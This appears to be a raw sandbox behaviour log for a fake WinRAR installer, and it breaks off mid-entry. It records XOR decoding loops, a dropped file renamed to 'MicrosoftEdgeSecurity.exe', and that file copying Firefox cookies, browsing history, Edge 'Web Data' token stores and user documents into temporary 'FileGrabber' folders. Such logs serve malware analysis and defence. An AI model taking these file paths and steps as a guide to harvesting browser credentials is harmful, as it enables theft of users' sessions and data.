"sample.bin" at offset 3085669; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3210262; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3267440; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3329349; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3629012; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3665670; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3682087; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3711912; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3755950; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3798509; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 344450; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 351818; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 459684; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 465043; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 513516; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 522107; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 571476; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 574058; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 643467; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 687118; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 739844; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 907825; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 909226; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 926952; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 934498; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 958498; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1093385; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1094018; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1138081; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1138099; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1145918; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1166839; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1212630; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1226580; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1287086; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1433395; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1537631; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1588045; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1602441; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1611810; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1644662; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1669585; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1793093; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1798351; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1824271; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1852961; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1863867; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1941138; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2394850; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2487018; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2489565; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2529785; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2687138; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2841021; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2904045; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2960540; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2968978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3064639; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3080365; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3089203; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3219968; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3387302; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3416829; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3527520; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3564720; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3598268; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3639903; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3804220; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3806877; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3807124; code bytes = 80302d:Tb11,"winrar-x64-710.exe" called "GetWindowTextW" with parameter "Copyright" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "by Alexander Roshal" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "&Destination folder" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Bro&wse..." - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "If you agree to the END USER LICENSE AGREEMENT (EULA), please click [Install]. If you do not agree, please click [Cancel]." - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Install" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Cancel" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\WinRAR" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Pause" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Descript.ion" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting ReadMe.txt" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting License.txt" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Rar.txt" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting WhatsNew.txt" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Order.htm" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting RarFiles.lst" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Uninstall.lst" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Rar.exe" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Uninstall.exe" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting UnRAR.exe" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting WinRAR.exe" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting 7zxa.dll" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting RarExt.dll" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting WinRAR.chm" - (UID: 00000000-00007996) "winrar-x64-710.exe" called "GetWindowTextW" with parameter "Extracting Default32.SFX" - (UID: 00000000-00007996)2e:T1df2,"winrarx64-setup.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000e8f89300ad611e772cf99300000000009b621e770825f1792cf99300e8bdb70254f9930000000000e8bdb7020000000000000000000000000100000000000000ee131f00a0f89300ee131f77a0f99300506a2277182d480efeffffffdc002277055d1e778c000000030000000cf99300040000000000000000000000ffffffff0100000058f99300b556237754f99300d0562377000000002cf9930000000000030000004034b70200000000000000000000000000000000000000000000000002000000a0f99300700a2277ec022277603b21775024f179e4f9930000001b7700d0620000b02c770010000000005d000100000000001b7700000000 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000930016e1f07588f0930080f093008cf093000300000080f6277698f09300aaecf0750300000000000000e4479874b6ecf075a8598c2ad0f093007de0f07564e0f075e0598c2ae447987405000000f09d98740000000075e2987486e2987450f19300802bf37550efe25ffeffffffdcf09300e0dff07520029a74ecf0930049d99974c0649c7420029a74f8f0930063d9997420029a741cf19300fa9d9874010000000100000037061e77010000000b2ef17506000000dad8997460f19300eecf9974c4dc9974e2cf99746efb6b50010000000100000000000000ec2cf179180000005cf1930032ba2077a0689c7400000000000000000000000070f19300 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff000000000000000000000000e682b902fc82b902 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff000000000000000000000000fefbb90216fcb902 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff000000000000000000000000c600ba02da00ba02 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff0000000000000000000000009600ba02ae00ba02 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff0000000000000000000000009600ba02ac00ba02 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018ce930038cf1f77a436b70284ce9300010000005836b702a436b7025836b702040000000400000000e032760010000084ce9300010000005836b702cd971f779c971f77440df179b50f29765836b70200001f770000000074149f750000000080ee2f760100000000000000f8e2327600000000040000000000000048403176f8e2327688ce930080e81f75209ab70280e81f7584ce93000000000080e81f755836b702bcd39300000000001c001c00ac4d5e0078f893000000000090afb7028cd0930040d0930060d393010101010174f89300000200000000000000000000ffffffff0000000000000000000000007625ba028e25ba02 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007012) "winrarx64-setup.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007012)2f:Ta99,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c0000000000630000000000000001000000740014000000f0f61a01000000000100000001000000000000002c000000c8031b0100000000140000000a000000000000000000000000006f0088d91a0114000000000000000000000000000000000000000000000000006e00000000006700000064006c00 (UID: 00000000-00007200) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000e018000000000000000a1140000f4ce110aee131f7780000000ee131f77000000000000000080000000f0622a740000000014cf110a50726a7600000e010000000080000000f0622a7402000000002f2a7430cf110afb622a740100000080042b74885f6c7600000000850026a760cf110ab8642a74f42e2a74 (UID: 00000000-00007200) "winrar-x64-710.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000100000000000000000024abae010000180000000000000000000000000000000000000000000000000000000000000093f820ffb1bc0000000000000000000031c94b79fb7f0000000000000000000000008059fb7f00000000000000000000e0588059fb7f000008000000000000006b118759fb7f000000000000 (UID: 00000000-00007996) "uninstall.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000001000000000000000000ed491a02000018000000000000000000000000000000000000000000000000000000000000009b96f01c6bbc0000000000000000000031c94b79fb7f0000000000000000000000008059fb7f00000000000000000000e0588059fb7f000008000000000000006b118759fb7f000000000000 (UID: 00000000-00007752) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000330030003000360066003000300036003600300030003700340030003000320065003000300034006500300030003400350030003000350034003000300035006300300030003400360030003000370032003000300036003100300030003600640030003000360035003000300037003700300030003600660030003000 (UID: 00000000-00004404) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000003d038000000000000000a1140000a4cefe09ee131f7780000000ee131f77000000000000000080000000f0622a7400000000c4cefe0950726a7600003d030000000080000000f0622a7402000000002f2a74e0cefe09fb622a740100000080042b74885f6c76000000009e7f75dc10cffe09b8642a74f42e2a74 (UID: 00000000-00004404) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000004d006900630072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b005c00000030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000300030003000 (UID: 00000000-00004972) "powershell.exe" called "GetVersionExA" (UID: 00000000-00004972)30:T64b,"winrarx64-setup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "winrarx64-setup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "winrar-x64-710.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "winrar-x64-710.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "uninstall.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "test.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "test.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")31:T1598,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00007200-00000C17-542686755 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00007200-00000C17-542899570 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007200-00000C17-544702030 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00007200-00000C17-544763346 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00007200-00000C17-544786058 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-544847185 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007200-00000C17-544958733 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007200-00000C17-544989053 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007200-00000C17-544989282 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00007200-00000C17-545494359 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007200-00000C17-545600682 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007200-00000C17-545711778 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007200-00000C17-545712014 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00007200-00000C17-546141784 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-547740604 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-548354370 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-548574017 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-548786101 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-548866984 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll" at 00000000-00007200-00000C17-548967007 "powershell.exe" queries volume information of "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll" at 00000000-00007200-00000C17-549096070 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00007200-00000C17-549254033 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00007200-00000C17-549277797 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00007200-00000C17-549278074 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007200-00000C17-54943391632:T737,"winrar-x64-710.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE") "winrar-x64-710.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\OUTLOOK.EXE"; Key: "PATH") "winrar-x64-710.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\UNINSTALL.EXE") "uninstall.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\UNINSTALL.EXE") "uninstall.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER") "uninstall.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "DISPLAYICON") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "DISPLAYNAME") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "INSTALLDATE") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "PUBLISHER") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "DISPLAYVERSION") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "MicrosoftEdgeSecurity.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER")33:Ta26,"test.exe" called "CopyFileA" to copy %WINDIR%\EdgeUpdate\test.exe to new location %WINDIR%\EdgeUpdate\MicrosoftEdgeSecurity.exe (UID: 00000000-00004284) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite to new location %TEMP%\8A0E88135E734B7BAF3207F0B166A40A_ff_cookies.db (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite to new location %TEMP%\672593CE378F4294869F371DA50F9123_places.db (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite to new location %TEMP%\9D6952A937394320AB845FCB4BD46AC3_places_bk.db (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite-wal to new location %TEMP%\9D6952A937394320AB845FCB4BD46AC3_places_bk.db-wal (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite-shm to new location %TEMP%\9D6952A937394320AB845FCB4BD46AC3_places_bk.db-shm (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %USERPROFILE%\Documents\desktop.ini to new location %TEMP%\8250790ABB6552085A14E9AACD5F9C89_FileGrabber\data\Documents\desktop.ini (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data-wal to new location %TEMP%\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db-wal (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data-shm to new location %TEMP%\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db-shm (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %TEMP%\C661AFA6B0E042F4836535F20D6B0DB2_web_data.db (UID: 00000000-00006508) "MicrosoftEdgeSecurity.exe" called "CopyFileA" to copy 